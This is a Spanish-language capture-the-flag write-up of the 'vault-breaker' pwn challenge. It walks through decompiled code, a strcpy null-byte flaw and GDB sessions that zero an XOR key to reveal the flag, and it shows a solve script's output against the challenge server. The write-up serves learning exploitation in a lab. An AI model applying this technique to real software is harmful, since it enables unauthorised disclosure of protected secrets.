Vault-breaker
5 minutos de lectura
Se nos proporciona un binario de 64 bits llamado vault-breaker
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./.glibc/'
Si lo ejecutamos, tenemos dos opciones:
$ ./vault-breaker
Current status: Unlocked π
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
[+] Random secure encryption key has been generated!
1. Generate new key π
2. Secure the Vault π
>
Si usamos Ghidra para descompilar el binario, podemos ver esta funciΓ³n main
:
void main() {
long option;
setup();
banner();
key_gen();
fprintf(stdout, "%s\n[+] Random secure encryption key has been generated!\n%s", &DAT_00103142, &DAT_001012f8);
fflush(stdout);
while (true) {
while (true) {
printf(&DAT_00105160, &DAT_001012f8);
option = read_num();
if (option != 1) break;
new_key_gen();
}
if (option != 2) break;
secure_password();
}
printf("%s\n[-] Invalid option, exiting..\n", &DAT_00101300);
/* WARNING: Subroutine does not return */
exit(0x45);
}
La primera opciΓ³n llama new_key_gen
:
void new_key_gen() {
int fd;
FILE *__stream;
long in_FS_OFFSET;
ulong i;
ulong length;
char new_key[40];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
i = 0;
length = 0x22;
__stream = fopen("/dev/urandom", "rb");
if (__stream == (FILE *) 0x0) {
fprintf(stdout, "\n%sError opening /dev/urandom, exiting..\n", &DAT_00101300);
/* WARNING: Subroutine does not return */
exit(0x15);
}
while (0x1f < length) {
printf("\n[*] Length of new password (0-%d): ", 31);
length = read_num();
}
memset(new_key, 0, 32);
fd = fileno(__stream);
read(fd, new_key, length);
for (; i < length; i = i + 1) {
while (new_key[i] == '\0') {
fd = fileno(__stream);
read(fd, new_key + i, 1);
}
}
strcpy(random_key, new_key);
fclose(__stream);
printf("\n%s[+] New key has been genereated successfully!\n%s", &DAT_00103142, &DAT_001012f8);
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Esta funciΓ³n tiene un error que puede ser explotado. Sin embargo, vamos a ver para quΓ© sirve la segunda opciΓ³n.
La segunda opciΓ³n llama a secure_password
:
void secure_password() {
char *__buf;
int __fd;
ulong uVar1;
size_t sVar2;
long in_FS_OFFSET;
char acStack136[24];
undefined8 uStack112;
int i;
int local_64;
char *local_60;
undefined8 local_58;
char *flag;
FILE *fp;
undefined8 canary;
canary = *(undefined8 *) (in_FS_OFFSET + 0x28);
uStack112 = 0x100c26;
puts("\x1b[1;34m");
uStack112 = 0x100c4c;
printf(&DAT_00101308, &DAT_001012f8, &DAT_00101300, &DAT_001012f8);
local_60 = &DAT_00101330;
local_64 = 0x17;
local_58 = 0x16;
flag = acStack136;
memset(acStack136, 0, 0x17);
fp = fopen("flag.txt", "rb");
__buf = flag;
if (fp == (FILE *) 0x0) {
fprintf(stderr, "\n%s[-] Error opening flag.txt, contact an Administrator..\n", &DAT_00101300);
/* WARNING: Subroutine does not return */
exit(0x15);
}
sVar2 = (size_t) local_64;
__fd = fileno(fp);
read(__fd, __buf, sVar2);
fclose(fp);
puts(local_60);
fwrite("\nMaster password for Vault: ", 1, 0x1c, stdout);
i = 0;
while (true) {
uVar1 = (ulong) i;
sVar2 = strlen(flag);
if (sVar2 <= uVar1) break;
putchar((int) (char) (random_key[i] ^ flag[i]));
i = i + 1;
}
puts("\n");
/* WARNING: Subroutine does not return */
exit(0x1b39);
}
AquΓ vemos que secure_password
imprime la flag cifrada mediante XOR y random_key
.
La idea aquΓ es abusar del bug en new_key_gen
de manera que sobrescribimos random_key
con bytes nulos y el cifrado XOR no harΓa nada.
El problema estΓ‘ aquΓ:
strcpy(random_key, new_key);
La variable new_key
tiene un numero dado de valores aleatorios (desde 0 hasta 31). El problema es que strcpy
interpreta new_key
como una string, que estΓ‘ terminada con un byte nulo. Y este byte nulo se copia en random_key
.
La idea es cambiar la clave comenzando por longitud 31 y bajar hasta 0. En este punto, tendremos una variable random_key
nula. Vamos a ver algunos pasos con GDB:
$ gdb -q vault-breaker
Reading symbols from vault-breaker...
(No debugging symbols found in vault-breaker)
gefβ€ disassemble new_key_gen
Dump of assembler code for function new_key_gen:
0x0000000000001026 <+0>: push rbp
...
0x000000000000113d <+279>: cmp rax,QWORD PTR [rbp-0x50]
0x0000000000001141 <+283>: jb 0x1122 <new_key_gen+252>
0x0000000000001143 <+285>: lea rax,[rbp-0x40]
0x0000000000001147 <+289>: mov rsi,rax
0x000000000000114a <+292>: lea rdi,[rip+0x204f0f] # 0x206060 <random_key>
0x0000000000001151 <+299>: call 0x9d0 <strcpy@plt>
0x0000000000001156 <+304>: mov rax,QWORD PTR [rbp-0x48]
0x000000000000115a <+308>: mov rdi,rax
0x000000000000115d <+311>: call 0x9f0 <fclose@plt>
...
0x0000000000001196 <+368>: add rsp,0x58
0x000000000000119a <+372>: pop rbx
0x000000000000119b <+373>: pop rbp
0x000000000000119c <+374>: ret
End of assembler dump.
gefβ€ break *new_key_gen+299
Breakpoint 1 at 0x1151
gefβ€ start
Starting program: ./vault-breaker
Current status: Unlocked π
...
[+] Random secure encryption key has been generated!
1. Generate new key π
2. Secure the Vault π
> 1
[*] Length of new password (0-31): 31
Breakpoint 1, 0x0000555555401151 in new_key_gen ()
gefβ€ x/4gx 0x00555555606060
0x555555606060 <random_key>: 0x3a13df13164d2f9b 0x3e52423f3cde51c2
0x555555606070 <random_key+16>: 0x42b8e9edf141c794 0x7d9940e7ae4bf33e
gefβ€ x/4gx 0x007fffffffe600
0x7fffffffe600: 0x78d46927bf7ceb4a 0x1bdb7bc09e2832bb
0x7fffffffe610: 0x977650dac427a3fa 0x00dbb4767e5144df
gefβ€ ni
Program received signal SIGALRM, Alarm clock.
0x0000555555401156 in new_key_gen ()
gefβ€ x/4gx 0x00555555606060
0x555555606060 <random_key>: 0x78d46927bf7ceb4a 0x1bdb7bc09e2832bb
0x555555606070 <random_key+16>: 0x977650dac427a3fa 0x00dbb4767e5144df
gefβ€ continue
Continuing.
[+] New key has been genereated successfully!
1. Generate new key π
2. Secure the Vault π
> 1
[*] Length of new password (0-31): 30
Breakpoint 1, 0x0000555555401151 in new_key_gen ()
gefβ€ x/4gx 0x00555555606060
0x555555606060 <random_key>: 0x78d46927bf7ceb4a 0x1bdb7bc09e2832bb
0x555555606070 <random_key+16>: 0x977650dac427a3fa 0x00dbb4767e5144df
gefβ€ x/4gx 0x007fffffffe600
0x7fffffffe600: 0xf981c407429c1b43 0x85f070e2c1c8e444
0x7fffffffe610: 0x46d952b3d580c7dd 0x0000782791b7d021
gefβ€ ni
0x0000555555401156 in new_key_gen ()
gefβ€ x/4gx 0x00555555606060
0x555555606060 <random_key>: 0xf981c407429c1b43 0x85f070e2c1c8e444
0x555555606070 <random_key+16>: 0x46d952b3d580c7dd 0x0000782791b7d021
gefβ€ continue
Continuing.
[+] New key has been genereated successfully!
1. Generate new key π
2. Secure the Vault π
> 1
[*] Length of new password (0-31): 29
Breakpoint 1, 0x0000555555401151 in new_key_gen ()
gefβ€ x/4gx 0x00555555606060
0x555555606060 <random_key>: 0xf981c407429c1b43 0x85f070e2c1c8e444
0x555555606070 <random_key+16>: 0x46d952b3d580c7dd 0x0000782791b7d021
gefβ€ x/4gx 0x007fffffffe600
0x7fffffffe600: 0xdec16a4ae0c0f28c 0x017ce2a4f208304d
0x7fffffffe610: 0x69b0acb732508fb3 0x0000009c2b0b449c
gefβ€ ni
0x0000555555401156 in new_key_gen ()
gefβ€ x/4gx 0x00555555606060
0x555555606060 <random_key>: 0xdec16a4ae0c0f28c 0x017ce2a4f208304d
0x555555606070 <random_key+16>: 0x69b0acb732508fb3 0x0000009c2b0b449c
Pues con este proceso llenamos random_key
con bytes nulos. DespuΓ©s, solamente tendrΓamos que pedir la flag cifrada. Todo esto se puede automatizar en un script en Python: solve.py
.
$ python3 solve.py 206.189.125.80:30580
[*] './vault-breaker'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./.glibc/'
[+] Opening connection to 206.189.125.80 on port 30580: Done
[β] Number: 0
[*] Closed connection to 206.189.125.80 port 30580
HTB{d4nz4_kudur0r0r0}